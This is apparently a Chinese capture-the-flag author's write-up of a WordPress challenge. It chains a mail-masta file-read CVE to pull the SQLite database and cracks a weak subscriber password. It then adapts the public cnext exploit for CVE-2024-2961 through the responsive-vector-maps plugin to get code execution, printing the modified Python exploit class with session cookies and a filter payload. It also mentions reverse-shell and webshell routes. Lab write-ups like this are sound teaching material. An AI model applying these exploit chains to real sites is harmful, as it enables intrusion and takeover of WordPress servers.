第一次出题, 难度没把握好, 看解题情况不太理想
环境地址: https://kengwang.lanzouo.com/icftJ23q0p2j
首先看到网站是一个 WordPress, 翻看文章
能够得知其用了 SQLite 数据库
此处我们通过搜索可以得知 WordPress 中要使用 SQLite 可以通过插件: https://wordpress.org/plugins/sqlite-database-integration/
代码审计可以知道
可以知道数据库默认存在 /var/www/html/wp-content/database/.ht.sqlite
, 考虑通过 LFI 进行下载
我们通过 wpscan 可以找到有很多过时的插件, 怕大家不好找到一个好的入口点, 我把我用的入口点写到了最初的文章评论里面
关注到 mail-masta 的 CVE-2016-10956, 采用这个工具尝试读取
https://github.com/p0dalirius/CVE-2016-10956-mail-masta/blob/master/CVE-2016-10956_mail_masta.py
下载完数据库打开后即可看到有 subscriber 用户
密码为 $P$BHU9YuIGcS2XbDZF106dBj0c2tjjfN/
, 我们给到 john
下面得到密码为 123456
登录之后拿到 cookie,
我们再关注到 RVM 的 Subscriber+ 读
但是一直没有 RCE 的点, 于是考虑打 CVE-2024-2961
LFI to RCE
我们通过subscriber登录
使用 https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py
稍微改改脚本的逻辑, Remote 类改成:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
self.session.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"}
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
print(path)
req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path))
return req
#return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path))
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
print(response)
data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1)
try:
return base64.decode(data)
except Exception as e:
print(e)
return data
之后我们就可以通过 responsive-vector-maps 的任意文件读来发反弹 shell
但是i春秋平台上的靶机似乎没反弹成功, 我后来又用了输出流重定向能打出来
/readflag > /var/www/html/flag
建议大家可以多研究研究这个 CVE, 这个的影响面真的很广, 之后肯定还会有更多的题出这个漏洞的.
参考链接 https://xz.aliyun.com/t/14690
下面贴一点非预期:
- 可以通过几个存在 LFI 的插件的 include 点来打 perlcmd 进行木马写入 (by 春秋杯 1 群群友)
- 可以通过 wpscan 扫描到 subscriber 用户猜测弱密码 (by 珂字辈)
第一次出题, 如果有什么不太好的地方欢迎在评论区指出